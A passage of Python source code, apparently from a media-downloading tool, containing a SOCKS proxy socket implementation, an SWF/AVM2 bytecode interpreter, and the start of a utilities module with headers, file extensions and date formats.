        msg = ('Invalid response version from server. Expected {0:02x} got '
               '{1:02x}'.format(expected_version, got_version))
        super(InvalidVersionError, self).__init__(0, msg)


class Socks4Error(ProxyError):
    ERR_SUCCESS = 90

    CODES = {
        91: 'request rejected or failed',
        92: 'request rejected because SOCKS server cannot connect to identd on the client',
        93: 'request rejected because the client program and identd report different user-ids'
    }


class Socks5Error(ProxyError):
    ERR_GENERAL_FAILURE = 0x01

    CODES = {
        0x01: 'general SOCKS server failure',
        0x02: 'connection not allowed by ruleset',
        0x03: 'Network unreachable',
        0x04: 'Host unreachable',
        0x05: 'Connection refused',
        0x06: 'TTL expired',
        0x07: 'Command not supported',
        0x08: 'Address type not supported',
        0xFE: 'unknown username or invalid password',
        0xFF: 'all offered authentication methods were rejected'
    }


class ProxyType(object):
    SOCKS4 = 0
    SOCKS4A = 1
    SOCKS5 = 2

Proxy = collections.namedtuple('Proxy', (
    'type', 'host', 'port', 'username', 'password', 'remote_dns'))


class sockssocket(socket.socket):
    def __init__(self, *args, **kwargs):
        self._proxy = None
        super(sockssocket, self).__init__(*args, **kwargs)

    def setproxy(self, proxytype, addr, port, rdns=True, username=None, password=None):
        assert proxytype in (ProxyType.SOCKS4, ProxyType.SOCKS4A, ProxyType.SOCKS5)

        self._proxy = Proxy(proxytype, addr, port, username, password, rdns)

    def recvall(self, cnt):
        data = b''
        while len(data) < cnt:
            cur = self.recv(cnt - len(data))
            if not cur:
                raise IOError('{0} bytes missing'.format(cnt - len(data)))
            data += cur
        return data

    def _recv_bytes(self, cnt):
        data = self.recvall(cnt)
        return compat_struct_unpack('!{0}B'.format(cnt), data)

    @staticmethod
    def _len_and_data(data):
        return compat_struct_pack('!B', len(data)) + data

    def _check_response_version(self, expected_version, got_version):
        if got_version != expected_version:
            self.close()
            raise InvalidVersionError(expected_version, got_version)

    def _resolve_address(self, destaddr, default, use_remote_dns):
        try:
            return socket.inet_aton(destaddr)
        except socket.error:
            if use_remote_dns and self._proxy.remote_dns:
                return default
            else:
                return socket.inet_aton(socket.gethostbyname(destaddr))

    def _setup_socks4(self, address, is_4a=False):
        destaddr, port = address

        ipaddr = self._resolve_address(destaddr, SOCKS4_DEFAULT_DSTIP, use_remote_dns=is_4a)

        packet = compat_struct_pack('!BBH', SOCKS4_VERSION, Socks4Command.CMD_CONNECT, port) + ipaddr

        username = (self._proxy.username or '').encode('utf-8')
        packet += username + b'\x00'

        if is_4a and self._proxy.remote_dns:
            packet += destaddr.encode('utf-8') + b'\x00'

        self.sendall(packet)

        version, resp_code, dstport, dsthost = compat_struct_unpack('!BBHI', self.recvall(8))

        self._check_response_version(SOCKS4_REPLY_VERSION, version)

        if resp_code != Socks4Error.ERR_SUCCESS:
            self.close()
            raise Socks4Error(resp_code)

        return (dsthost, dstport)

    def _setup_socks4a(self, address):
        self._setup_socks4(address, is_4a=True)

    def _socks5_auth(self):
        packet = compat_struct_pack('!B', SOCKS5_VERSION)

        auth_methods = [Socks5Auth.AUTH_NONE]
        if self._proxy.username and self._proxy.password:
            auth_methods.append(Socks5Auth.AUTH_USER_PASS)

        packet += compat_struct_pack('!B', len(auth_methods))
        packet += compat_struct_pack('!{0}B'.format(len(auth_methods)), *auth_methods)

        self.sendall(packet)

        version, method = self._recv_bytes(2)

        self._check_response_version(SOCKS5_VERSION, version)

        if method == Socks5Auth.AUTH_NO_ACCEPTABLE:
            self.close()
            raise Socks5Error(method)

        if method == Socks5Auth.AUTH_USER_PASS:
            username = self._proxy.username.encode('utf-8')
            password = self._proxy.password.encode('utf-8')
            packet = compat_struct_pack('!B', SOCKS5_USER_AUTH_VERSION)
            packet += self._len_and_data(username) + self._len_and_data(password)
            self.sendall(packet)

            version, status = self._recv_bytes(2)

            self._check_response_version(SOCKS5_USER_AUTH_VERSION, version)

            if status != SOCKS5_USER_AUTH_SUCCESS:
                self.close()
                raise Socks5Error(Socks5Error.ERR_GENERAL_FAILURE)

    def _setup_socks5(self, address):
        destaddr, port = address

        ipaddr = self._resolve_address(destaddr, None, use_remote_dns=True)

        self._socks5_auth()

        reserved = 0
        packet = compat_struct_pack('!BBB', SOCKS5_VERSION, Socks5Command.CMD_CONNECT, reserved)
        if ipaddr is None:
            destaddr = destaddr.encode('utf-8')
            packet += compat_struct_pack('!B', Socks5AddressType.ATYP_DOMAINNAME)
            packet += self._len_and_data(destaddr)
        else:
            packet += compat_struct_pack('!B', Socks5AddressType.ATYP_IPV4) + ipaddr
        packet += compat_struct_pack('!H', port)

        self.sendall(packet)

        version, status, reserved, atype = self._recv_bytes(4)

        self._check_response_version(SOCKS5_VERSION, version)

        if status != Socks5Error.ERR_SUCCESS:
            self.close()
            raise Socks5Error(status)

        if atype == Socks5AddressType.ATYP_IPV4:
            destaddr = self.recvall(4)
        elif atype == Socks5AddressType.ATYP_DOMAINNAME:
            alen = compat_ord(self.recv(1))
            destaddr = self.recvall(alen)
        elif atype == Socks5AddressType.ATYP_IPV6:
            destaddr = self.recvall(16)
        destport = compat_struct_unpack('!H', self.recvall(2))[0]

        return (destaddr, destport)

    def _make_proxy(self, connect_func, address):
        if not self._proxy:
            return connect_func(self, address)

        result = connect_func(self, (self._proxy.host, self._proxy.port))
        if result != 0 and result is not None:
            return result
        setup_funcs = {
            ProxyType.SOCKS4: self._setup_socks4,
            ProxyType.SOCKS4A: self._setup_socks4a,
            ProxyType.SOCKS5: self._setup_socks5,
        }
        setup_funcs[self._proxy.type](address)
        return result

    def connect(self, address):
        self._make_proxy(socket.socket.connect, address)

    def connect_ex(self, address):
        return self._make_proxy(socket.socket.connect_ex, address)






from __future__ import unicode_literals

import collections
import io
import zlib

from .compat import (
    compat_str,
    compat_struct_unpack,
)
from .utils import (
    ExtractorError,
)


def _extract_tags(file_contents):
    if file_contents[1:3] != b'WS':
        raise ExtractorError(
            'Not an SWF file; header is %r' % file_contents[:3])
    if file_contents[:1] == b'C':
        content = zlib.decompress(file_contents[8:])
    else:
        raise NotImplementedError(
            'Unsupported compression format %r' %
            file_contents[:1])

    # Determine number of bits in framesize rectangle
    framesize_nbits = compat_struct_unpack('!B', content[:1])[0] >> 3
    framesize_len = (5 + 4 * framesize_nbits + 7) // 8

    pos = framesize_len + 2 + 2
    while pos < len(content):
        header16 = compat_struct_unpack('<H', content[pos:pos + 2])[0]
        pos += 2
        tag_code = header16 >> 6
        tag_len = header16 & 0x3f
        if tag_len == 0x3f:
            tag_len = compat_struct_unpack('<I', content[pos:pos + 4])[0]
            pos += 4
        assert pos + tag_len <= len(content), \
            ('Tag %d ends at %d+%d - that\'s longer than the file (%d)'
                % (tag_code, pos, tag_len, len(content)))
        yield (tag_code, content[pos:pos + tag_len])
        pos += tag_len


class _AVMClass_Object(object):
    def __init__(self, avm_class):
        self.avm_class = avm_class

    def __repr__(self):
        return '%s#%x' % (self.avm_class.name, id(self))


class _ScopeDict(dict):
    def __init__(self, avm_class):
        super(_ScopeDict, self).__init__()
        self.avm_class = avm_class

    def __repr__(self):
        return '%s__Scope(%s)' % (
            self.avm_class.name,
            super(_ScopeDict, self).__repr__())


class _AVMClass(object):
    def __init__(self, name_idx, name, static_properties=None):
        self.name_idx = name_idx
        self.name = name
        self.method_names = {}
        self.method_idxs = {}
        self.methods = {}
        self.method_pyfunctions = {}
        self.static_properties = static_properties if static_properties else {}

        self.variables = _ScopeDict(self)
        self.constants = {}

    def make_object(self):
        return _AVMClass_Object(self)

    def __repr__(self):
        return '_AVMClass(%s)' % (self.name)

    def register_methods(self, methods):
        self.method_names.update(methods.items())
        self.method_idxs.update(dict(
            (idx, name)
            for name, idx in methods.items()))


class _Multiname(object):
    def __init__(self, kind):
        self.kind = kind

    def __repr__(self):
        return '[MULTINAME kind: 0x%x]' % self.kind


def _read_int(reader):
    res = 0
    shift = 0
    for _ in range(5):
        buf = reader.read(1)
        assert len(buf) == 1
        b = compat_struct_unpack('<B', buf)[0]
        res = res | ((b & 0x7f) << shift)
        if b & 0x80 == 0:
            break
        shift += 7
    return res


def _u30(reader):
    res = _read_int(reader)
    assert res & 0xf0000000 == 0
    return res
_u32 = _read_int


def _s32(reader):
    v = _read_int(reader)
    if v & 0x80000000 != 0:
        v = - ((v ^ 0xffffffff) + 1)
    return v


def _s24(reader):
    bs = reader.read(3)
    assert len(bs) == 3
    last_byte = b'\xff' if (ord(bs[2:3]) >= 0x80) else b'\x00'
    return compat_struct_unpack('<i', bs + last_byte)[0]


def _read_string(reader):
    slen = _u30(reader)
    resb = reader.read(slen)
    assert len(resb) == slen
    return resb.decode('utf-8')


def _read_bytes(count, reader):
    assert count >= 0
    resb = reader.read(count)
    assert len(resb) == count
    return resb


def _read_byte(reader):
    resb = _read_bytes(1, reader=reader)
    res = compat_struct_unpack('<B', resb)[0]
    return res


StringClass = _AVMClass('(no name idx)', 'String')
ByteArrayClass = _AVMClass('(no name idx)', 'ByteArray')
TimerClass = _AVMClass('(no name idx)', 'Timer')
TimerEventClass = _AVMClass('(no name idx)', 'TimerEvent', {'TIMER': 'timer'})
_builtin_classes = {
    StringClass.name: StringClass,
    ByteArrayClass.name: ByteArrayClass,
    TimerClass.name: TimerClass,
    TimerEventClass.name: TimerEventClass,
}


class _Undefined(object):
    def __bool__(self):
        return False
    __nonzero__ = __bool__

    def __hash__(self):
        return 0

    def __str__(self):
        return 'undefined'
    __repr__ = __str__

undefined = _Undefined()


class SWFInterpreter(object):
    def __init__(self, file_contents):
        self._patched_functions = {
            (TimerClass, 'addEventListener'): lambda params: undefined,
        }
        code_tag = next(tag
                        for tag_code, tag in _extract_tags(file_contents)
                        if tag_code == 82)
        p = code_tag.index(b'\0', 4) + 1
        code_reader = io.BytesIO(code_tag[p:])

        # Parse ABC (AVM2 ByteCode)

        # Define a couple convenience methods
        u30 = lambda *args: _u30(*args, reader=code_reader)
        s32 = lambda *args: _s32(*args, reader=code_reader)
        u32 = lambda *args: _u32(*args, reader=code_reader)
        read_bytes = lambda *args: _read_bytes(*args, reader=code_reader)
        read_byte = lambda *args: _read_byte(*args, reader=code_reader)

        # minor_version + major_version
        read_bytes(2 + 2)

        # Constant pool
        int_count = u30()
        self.constant_ints = [0]
        for _c in range(1, int_count):
            self.constant_ints.append(s32())
        self.constant_uints = [0]
        uint_count = u30()
        for _c in range(1, uint_count):
            self.constant_uints.append(u32())
        double_count = u30()
        read_bytes(max(0, (double_count - 1)) * 8)
        string_count = u30()
        self.constant_strings = ['']
        for _c in range(1, string_count):
            s = _read_string(code_reader)
            self.constant_strings.append(s)
        namespace_count = u30()
        for _c in range(1, namespace_count):
            read_bytes(1)  # kind
            u30()  # name
        ns_set_count = u30()
        for _c in range(1, ns_set_count):
            count = u30()
            for _c2 in range(count):
                u30()
        multiname_count = u30()
        MULTINAME_SIZES = {
            0x07: 2,  # QName
            0x0d: 2,  # QNameA
            0x0f: 1,  # RTQName
            0x10: 1,  # RTQNameA
            0x11: 0,  # RTQNameL
            0x12: 0,  # RTQNameLA
            0x09: 2,  # Multiname
            0x0e: 2,  # MultinameA
            0x1b: 1,  # MultinameL
            0x1c: 1,  # MultinameLA
        }
        self.multinames = ['']
        for _c in range(1, multiname_count):
            kind = u30()
            assert kind in MULTINAME_SIZES, 'Invalid multiname kind %r' % kind
            if kind == 0x07:
                u30()  # namespace_idx
                name_idx = u30()
                self.multinames.append(self.constant_strings[name_idx])
            elif kind == 0x09:
                name_idx = u30()
                u30()
                self.multinames.append(self.constant_strings[name_idx])
            else:
                self.multinames.append(_Multiname(kind))
                for _c2 in range(MULTINAME_SIZES[kind]):
                    u30()

        # Methods
        method_count = u30()
        MethodInfo = collections.namedtuple(
            'MethodInfo',
            ['NEED_ARGUMENTS', 'NEED_REST'])
        method_infos = []
        for method_id in range(method_count):
            param_count = u30()
            u30()  # return type
            for _ in range(param_count):
                u30()  # param type
            u30()  # name index (always 0 for youtube)
            flags = read_byte()
            if flags & 0x08 != 0:
                # Options present
                option_count = u30()
                for c in range(option_count):
                    u30()  # val
                    read_bytes(1)  # kind
            if flags & 0x80 != 0:
                # Param names present
                for _ in range(param_count):
                    u30()  # param name
            mi = MethodInfo(flags & 0x01 != 0, flags & 0x04 != 0)
            method_infos.append(mi)

        # Metadata
        metadata_count = u30()
        for _c in range(metadata_count):
            u30()  # name
            item_count = u30()
            for _c2 in range(item_count):
                u30()  # key
                u30()  # value

        def parse_traits_info():
            trait_name_idx = u30()
            kind_full = read_byte()
            kind = kind_full & 0x0f
            attrs = kind_full >> 4
            methods = {}
            constants = None
            if kind == 0x00:  # Slot
                u30()  # Slot id
                u30()  # type_name_idx
                vindex = u30()
                if vindex != 0:
                    read_byte()  # vkind
            elif kind == 0x06:  # Const
                u30()  # Slot id
                u30()  # type_name_idx
                vindex = u30()
                vkind = 'any'
                if vindex != 0:
                    vkind = read_byte()
                if vkind == 0x03:  # Constant_Int
                    value = self.constant_ints[vindex]
                elif vkind == 0x04:  # Constant_UInt
                    value = self.constant_uints[vindex]
                else:
                    return {}, None  # Ignore silently for now
                constants = {self.multinames[trait_name_idx]: value}
            elif kind in (0x01, 0x02, 0x03):  # Method / Getter / Setter
                u30()  # disp_id
                method_idx = u30()
                methods[self.multinames[trait_name_idx]] = method_idx
            elif kind == 0x04:  # Class
                u30()  # slot_id
                u30()  # classi
            elif kind == 0x05:  # Function
                u30()  # slot_id
                function_idx = u30()
                methods[function_idx] = self.multinames[trait_name_idx]
            else:
                raise ExtractorError('Unsupported trait kind %d' % kind)

            if attrs & 0x4 != 0:  # Metadata present
                metadata_count = u30()
                for _c3 in range(metadata_count):
                    u30()  # metadata index

            return methods, constants

        # Classes
        class_count = u30()
        classes = []
        for class_id in range(class_count):
            name_idx = u30()

            cname = self.multinames[name_idx]
            avm_class = _AVMClass(name_idx, cname)
            classes.append(avm_class)

            u30()  # super_name idx
            flags = read_byte()
            if flags & 0x08 != 0:  # Protected namespace is present
                u30()  # protected_ns_idx
            intrf_count = u30()
            for _c2 in range(intrf_count):
                u30()
            u30()  # iinit
            trait_count = u30()
            for _c2 in range(trait_count):
                trait_methods, trait_constants = parse_traits_info()
                avm_class.register_methods(trait_methods)
                if trait_constants:
                    avm_class.constants.update(trait_constants)

        assert len(classes) == class_count
        self._classes_by_name = dict((c.name, c) for c in classes)

        for avm_class in classes:
            avm_class.cinit_idx = u30()
            trait_count = u30()
            for _c2 in range(trait_count):
                trait_methods, trait_constants = parse_traits_info()
                avm_class.register_methods(trait_methods)
                if trait_constants:
                    avm_class.constants.update(trait_constants)

        # Scripts
        script_count = u30()
        for _c in range(script_count):
            u30()  # init
            trait_count = u30()
            for _c2 in range(trait_count):
                parse_traits_info()

        # Method bodies
        method_body_count = u30()
        Method = collections.namedtuple('Method', ['code', 'local_count'])
        self._all_methods = []
        for _c in range(method_body_count):
            method_idx = u30()
            u30()  # max_stack
            local_count = u30()
            u30()  # init_scope_depth
            u30()  # max_scope_depth
            code_length = u30()
            code = read_bytes(code_length)
            m = Method(code, local_count)
            self._all_methods.append(m)
            for avm_class in classes:
                if method_idx in avm_class.method_idxs:
                    avm_class.methods[avm_class.method_idxs[method_idx]] = m
            exception_count = u30()
            for _c2 in range(exception_count):
                u30()  # from
                u30()  # to
                u30()  # target
                u30()  # exc_type
                u30()  # var_name
            trait_count = u30()
            for _c2 in range(trait_count):
                parse_traits_info()

        assert p + code_reader.tell() == len(code_tag)

    def patch_function(self, avm_class, func_name, f):
        self._patched_functions[(avm_class, func_name)] = f

    def extract_class(self, class_name, call_cinit=True):
        try:
            res = self._classes_by_name[class_name]
        except KeyError:
            raise ExtractorError('Class %r not found' % class_name)

        if call_cinit and hasattr(res, 'cinit_idx'):
            res.register_methods({'$cinit': res.cinit_idx})
            res.methods['$cinit'] = self._all_methods[res.cinit_idx]
            cinit = self.extract_function(res, '$cinit')
            cinit([])

        return res

    def extract_function(self, avm_class, func_name):
        p = self._patched_functions.get((avm_class, func_name))
        if p:
            return p
        if func_name in avm_class.method_pyfunctions:
            return avm_class.method_pyfunctions[func_name]
        if func_name in self._classes_by_name:
            return self._classes_by_name[func_name].make_object()
        if func_name not in avm_class.methods:
            raise ExtractorError('Cannot find function %s.%s' % (
                avm_class.name, func_name))
        m = avm_class.methods[func_name]

        def resfunc(args):
            # Helper functions
            coder = io.BytesIO(m.code)
            s24 = lambda: _s24(coder)
            u30 = lambda: _u30(coder)

            registers = [avm_class.variables] + list(args) + [None] * m.local_count
            stack = []
            scopes = collections.deque([
                self._classes_by_name, avm_class.constants, avm_class.variables])
            while True:
                opcode = _read_byte(coder)
                if opcode == 9:  # label
                    pass  # Spec says: "Do nothing."
                elif opcode == 16:  # jump
                    offset = s24()
                    coder.seek(coder.tell() + offset)
                elif opcode == 17:  # iftrue
                    offset = s24()
                    value = stack.pop()
                    if value:
                        coder.seek(coder.tell() + offset)
                elif opcode == 18:  # iffalse
                    offset = s24()
                    value = stack.pop()
                    if not value:
                        coder.seek(coder.tell() + offset)
                elif opcode == 19:  # ifeq
                    offset = s24()
                    value2 = stack.pop()
                    value1 = stack.pop()
                    if value2 == value1:
                        coder.seek(coder.tell() + offset)
                elif opcode == 20:  # ifne
                    offset = s24()
                    value2 = stack.pop()
                    value1 = stack.pop()
                    if value2 != value1:
                        coder.seek(coder.tell() + offset)
                elif opcode == 21:  # iflt
                    offset = s24()
                    value2 = stack.pop()
                    value1 = stack.pop()
                    if value1 < value2:
                        coder.seek(coder.tell() + offset)
                elif opcode == 32:  # pushnull
                    stack.append(None)
                elif opcode == 33:  # pushundefined
                    stack.append(undefined)
                elif opcode == 36:  # pushbyte
                    v = _read_byte(coder)
                    stack.append(v)
                elif opcode == 37:  # pushshort
                    v = u30()
                    stack.append(v)
                elif opcode == 38:  # pushtrue
                    stack.append(True)
                elif opcode == 39:  # pushfalse
                    stack.append(False)
                elif opcode == 40:  # pushnan
                    stack.append(float('NaN'))
                elif opcode == 42:  # dup
                    value = stack[-1]
                    stack.append(value)
                elif opcode == 44:  # pushstring
                    idx = u30()
                    stack.append(self.constant_strings[idx])
                elif opcode == 48:  # pushscope
                    new_scope = stack.pop()
                    scopes.append(new_scope)
                elif opcode == 66:  # construct
                    arg_count = u30()
                    args = list(reversed(
                        [stack.pop() for _ in range(arg_count)]))
                    obj = stack.pop()
                    res = obj.avm_class.make_object()
                    stack.append(res)
                elif opcode == 70:  # callproperty
                    index = u30()
                    mname = self.multinames[index]
                    arg_count = u30()
                    args = list(reversed(
                        [stack.pop() for _ in range(arg_count)]))
                    obj = stack.pop()

                    if obj == StringClass:
                        if mname == 'String':
                            assert len(args) == 1
                            assert isinstance(args[0], (
                                int, compat_str, _Undefined))
                            if args[0] == undefined:
                                res = 'undefined'
                            else:
                                res = compat_str(args[0])
                            stack.append(res)
                            continue
                        else:
                            raise NotImplementedError(
                                'Function String.%s is not yet implemented'
                                % mname)
                    elif isinstance(obj, _AVMClass_Object):
                        func = self.extract_function(obj.avm_class, mname)
                        res = func(args)
                        stack.append(res)
                        continue
                    elif isinstance(obj, _AVMClass):
                        func = self.extract_function(obj, mname)
                        res = func(args)
                        stack.append(res)
                        continue
                    elif isinstance(obj, _ScopeDict):
                        if mname in obj.avm_class.method_names:
                            func = self.extract_function(obj.avm_class, mname)
                            res = func(args)
                        else:
                            res = obj[mname]
                        stack.append(res)
                        continue
                    elif isinstance(obj, compat_str):
                        if mname == 'split':
                            assert len(args) == 1
                            assert isinstance(args[0], compat_str)
                            if args[0] == '':
                                res = list(obj)
                            else:
                                res = obj.split(args[0])
                            stack.append(res)
                            continue
                        elif mname == 'charCodeAt':
                            assert len(args) <= 1
                            idx = 0 if len(args) == 0 else args[0]
                            assert isinstance(idx, int)
                            res = ord(obj[idx])
                            stack.append(res)
                            continue
                    elif isinstance(obj, list):
                        if mname == 'slice':
                            assert len(args) == 1
                            assert isinstance(args[0], int)
                            res = obj[args[0]:]
                            stack.append(res)
                            continue
                        elif mname == 'join':
                            assert len(args) == 1
                            assert isinstance(args[0], compat_str)
                            res = args[0].join(obj)
                            stack.append(res)
                            continue
                    raise NotImplementedError(
                        'Unsupported property %r on %r'
                        % (mname, obj))
                elif opcode == 71:  # returnvoid
                    res = undefined
                    return res
                elif opcode == 72:  # returnvalue
                    res = stack.pop()
                    return res
                elif opcode == 73:  # constructsuper
                    # Not yet implemented, just hope it works without it
                    arg_count = u30()
                    args = list(reversed(
                        [stack.pop() for _ in range(arg_count)]))
                    obj = stack.pop()
                elif opcode == 74:  # constructproperty
                    index = u30()
                    arg_count = u30()
                    args = list(reversed(
                        [stack.pop() for _ in range(arg_count)]))
                    obj = stack.pop()

                    mname = self.multinames[index]
                    assert isinstance(obj, _AVMClass)

                    # We do not actually call the constructor for now;
                    # we just pretend it does nothing
                    stack.append(obj.make_object())
                elif opcode == 79:  # callpropvoid
                    index = u30()
                    mname = self.multinames[index]
                    arg_count = u30()
                    args = list(reversed(
                        [stack.pop() for _ in range(arg_count)]))
                    obj = stack.pop()
                    if isinstance(obj, _AVMClass_Object):
                        func = self.extract_function(obj.avm_class, mname)
                        res = func(args)
                        assert res is undefined
                        continue
                    if isinstance(obj, _ScopeDict):
                        assert mname in obj.avm_class.method_names
                        func = self.extract_function(obj.avm_class, mname)
                        res = func(args)
                        assert res is undefined
                        continue
                    if mname == 'reverse':
                        assert isinstance(obj, list)
                        obj.reverse()
                    else:
                        raise NotImplementedError(
                            'Unsupported (void) property %r on %r'
                            % (mname, obj))
                elif opcode == 86:  # newarray
                    arg_count = u30()
                    arr = []
                    for i in range(arg_count):
                        arr.append(stack.pop())
                    arr = arr[::-1]
                    stack.append(arr)
                elif opcode == 93:  # findpropstrict
                    index = u30()
                    mname = self.multinames[index]
                    for s in reversed(scopes):
                        if mname in s:
                            res = s
                            break
                    else:
                        res = scopes[0]
                    if mname not in res and mname in _builtin_classes:
                        stack.append(_builtin_classes[mname])
                    else:
                        stack.append(res[mname])
                elif opcode == 94:  # findproperty
                    index = u30()
                    mname = self.multinames[index]
                    for s in reversed(scopes):
                        if mname in s:
                            res = s
                            break
                    else:
                        res = avm_class.variables
                    stack.append(res)
                elif opcode == 96:  # getlex
                    index = u30()
                    mname = self.multinames[index]
                    for s in reversed(scopes):
                        if mname in s:
                            scope = s
                            break
                    else:
                        scope = avm_class.variables

                    if mname in scope:
                        res = scope[mname]
                    elif mname in _builtin_classes:
                        res = _builtin_classes[mname]
                    else:
                        # Assume uninitialized
                        # TODO warn here
                        res = undefined
                    stack.append(res)
                elif opcode == 97:  # setproperty
                    index = u30()
                    value = stack.pop()
                    idx = self.multinames[index]
                    if isinstance(idx, _Multiname):
                        idx = stack.pop()
                    obj = stack.pop()
                    obj[idx] = value
                elif opcode == 98:  # getlocal
                    index = u30()
                    stack.append(registers[index])
                elif opcode == 99:  # setlocal
                    index = u30()
                    value = stack.pop()
                    registers[index] = value
                elif opcode == 102:  # getproperty
                    index = u30()
                    pname = self.multinames[index]
                    if pname == 'length':
                        obj = stack.pop()
                        assert isinstance(obj, (compat_str, list))
                        stack.append(len(obj))
                    elif isinstance(pname, compat_str):  # Member access
                        obj = stack.pop()
                        if isinstance(obj, _AVMClass):
                            res = obj.static_properties[pname]
                            stack.append(res)
                            continue

                        assert isinstance(obj, (dict, _ScopeDict)),\
                            'Accessing member %r on %r' % (pname, obj)
                        res = obj.get(pname, undefined)
                        stack.append(res)
                    else:  # Assume attribute access
                        idx = stack.pop()
                        assert isinstance(idx, int)
                        obj = stack.pop()
                        assert isinstance(obj, list)
                        stack.append(obj[idx])
                elif opcode == 104:  # initproperty
                    index = u30()
                    value = stack.pop()
                    idx = self.multinames[index]
                    if isinstance(idx, _Multiname):
                        idx = stack.pop()
                    obj = stack.pop()
                    obj[idx] = value
                elif opcode == 115:  # convert_
                    value = stack.pop()
                    intvalue = int(value)
                    stack.append(intvalue)
                elif opcode == 128:  # coerce
                    u30()
                elif opcode == 130:  # coerce_a
                    value = stack.pop()
                    # um, yes, it's any value
                    stack.append(value)
                elif opcode == 133:  # coerce_s
                    assert isinstance(stack[-1], (type(None), compat_str))
                elif opcode == 147:  # decrement
                    value = stack.pop()
                    assert isinstance(value, int)
                    stack.append(value - 1)
                elif opcode == 149:  # typeof
                    value = stack.pop()
                    return {
                        _Undefined: 'undefined',
                        compat_str: 'String',
                        int: 'Number',
                        float: 'Number',
                    }[type(value)]
                elif opcode == 160:  # add
                    value2 = stack.pop()
                    value1 = stack.pop()
                    res = value1 + value2
                    stack.append(res)
                elif opcode == 161:  # subtract
                    value2 = stack.pop()
                    value1 = stack.pop()
                    res = value1 - value2
                    stack.append(res)
                elif opcode == 162:  # multiply
                    value2 = stack.pop()
                    value1 = stack.pop()
                    res = value1 * value2
                    stack.append(res)
                elif opcode == 164:  # modulo
                    value2 = stack.pop()
                    value1 = stack.pop()
                    res = value1 % value2
                    stack.append(res)
                elif opcode == 168:  # bitand
                    value2 = stack.pop()
                    value1 = stack.pop()
                    assert isinstance(value1, int)
                    assert isinstance(value2, int)
                    res = value1 & value2
                    stack.append(res)
                elif opcode == 171:  # equals
                    value2 = stack.pop()
                    value1 = stack.pop()
                    result = value1 == value2
                    stack.append(result)
                elif opcode == 175:  # greaterequals
                    value2 = stack.pop()
                    value1 = stack.pop()
                    result = value1 >= value2
                    stack.append(result)
                elif opcode == 192:  # increment_i
                    value = stack.pop()
                    assert isinstance(value, int)
                    stack.append(value + 1)
                elif opcode == 208:  # getlocal_0
                    stack.append(registers[0])
                elif opcode == 209:  # getlocal_1
                    stack.append(registers[1])
                elif opcode == 210:  # getlocal_2
                    stack.append(registers[2])
                elif opcode == 211:  # getlocal_3
                    stack.append(registers[3])
                elif opcode == 212:  # setlocal_0
                    registers[0] = stack.pop()
                elif opcode == 213:  # setlocal_1
                    registers[1] = stack.pop()
                elif opcode == 214:  # setlocal_2
                    registers[2] = stack.pop()
                elif opcode == 215:  # setlocal_3
                    registers[3] = stack.pop()
                else:
                    raise NotImplementedError(
                        'Unsupported opcode %d' % opcode)

        avm_class.method_pyfunctions[func_name] = resfunc
        return resfunc






#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import unicode_literals

import base64
import binascii
import calendar
import codecs
import contextlib
import ctypes
import datetime
import email.utils
import errno
import functools
import gzip
import io
import itertools
import json
import locale
import math
import operator
import os
import pipes
import platform
import re
import socket
import ssl
import subprocess
import sys
import tempfile
import traceback
import xml.etree.ElementTree
import zlib

from .compat import (
    compat_HTMLParser,
    compat_basestring,
    compat_chr,
    compat_etree_fromstring,
    compat_html_entities,
    compat_html_entities_html5,
    compat_http_client,
    compat_kwargs,
    compat_parse_qs,
    compat_shlex_quote,
    compat_socket_create_connection,
    compat_str,
    compat_struct_pack,
    compat_struct_unpack,
    compat_urllib_error,
    compat_urllib_parse,
    compat_urllib_parse_urlencode,
    compat_urllib_parse_urlparse,
    compat_urllib_parse_unquote_plus,
    compat_urllib_request,
    compat_urlparse,
    compat_xpath,
)

from .socks import (
    ProxyType,
    sockssocket,
)


def register_socks_protocols():
    # "Register" SOCKS protocols
    # In Python < 2.6.5, urlsplit() suffers from bug https://bugs.python.org/issue7904
    # URLs with protocols not in urlparse.uses_netloc are not handled correctly
    for scheme in ('socks', 'socks4', 'socks4a', 'socks5'):
        if scheme not in compat_urlparse.uses_netloc:
            compat_urlparse.uses_netloc.append(scheme)


# This is not clearly defined otherwise
compiled_regex_type = type(re.compile(''))

std_headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20150101 Firefox/47.0 (Chrome)',
    'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-us,en;q=0.5',
}


NO_DEFAULT = object()

ENGLISH_MONTH_NAMES = [
    'January', 'February', 'March', 'April', 'May', 'June',
    'July', 'August', 'September', 'October', 'November', 'December']

KNOWN_EXTENSIONS = (
    'mp4', 'm4a', 'm4p', 'm4b', 'm4r', 'm4v', 'aac',
    'flv', 'f4v', 'f4a', 'f4b',
    'webm', 'ogg', 'ogv', 'oga', 'ogx', 'spx', 'opus',
    'mkv', 'mka', 'mk3d',
    'avi', 'divx',
    'mov',
    'asf', 'wmv', 'wma',
    '3gp', '3g2',
    'mp3',
    'flac',
    'ape',
    'wav',
    'f4f', 'f4m', 'm3u8', 'smil')

# needed for sanitizing filenames in restricted mode
ACCENT_CHARS = dict(zip('ÂÃÄÀÁÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖŐØŒÙÚÛÜŰÝÞßàáâãäåæçèéêëìíîïðñòóôõöőøœùúûüűýþÿ',
                        itertools.chain('AAAAAA', ['AE'], 'CEEEEIIIIDNOOOOOOO', ['OE'], 'UUUUUYP', ['ss'],
                                        'aaaaaa', ['ae'], 'ceeeeiiiionooooooo', ['oe'], 'uuuuuypy')))

DATE_FORMATS = (
    '%d %B %Y',
    '%d %b %Y',
    '%B %d %Y',
    '%b %d %Y',
    '%b %dst %Y %I:%M',
    '%b %dnd %Y %I:%M',
    '%b %dth %Y %I:%M',
    '%Y %m %d',
    '%Y-%m-%d',
    '%Y/%m/%d',
    '%Y/%m/%d %H:%M',
    '%Y/%m/%d %H:%M:%S',
    '%Y-%m-%d %H:%M:%S',
    '%Y-%m-%d %H:%M:%S.%f',
    '%d.%m.%Y %H:%M',
    '%d.%m.%Y %H.%M',
    '%Y-%m-%dT%H:%M:%SZ',
    '%Y-%m-%dT%H:%M:%S.%fZ',
    '%Y-%m-%dT%H:%M:%S.%f0Z',
    '%Y-%m-%dT%H:%M:%S',
    '%Y-%m-%dT%H:%M:%S.%f',
    '%Y-%m-%dT%H:%M',
)

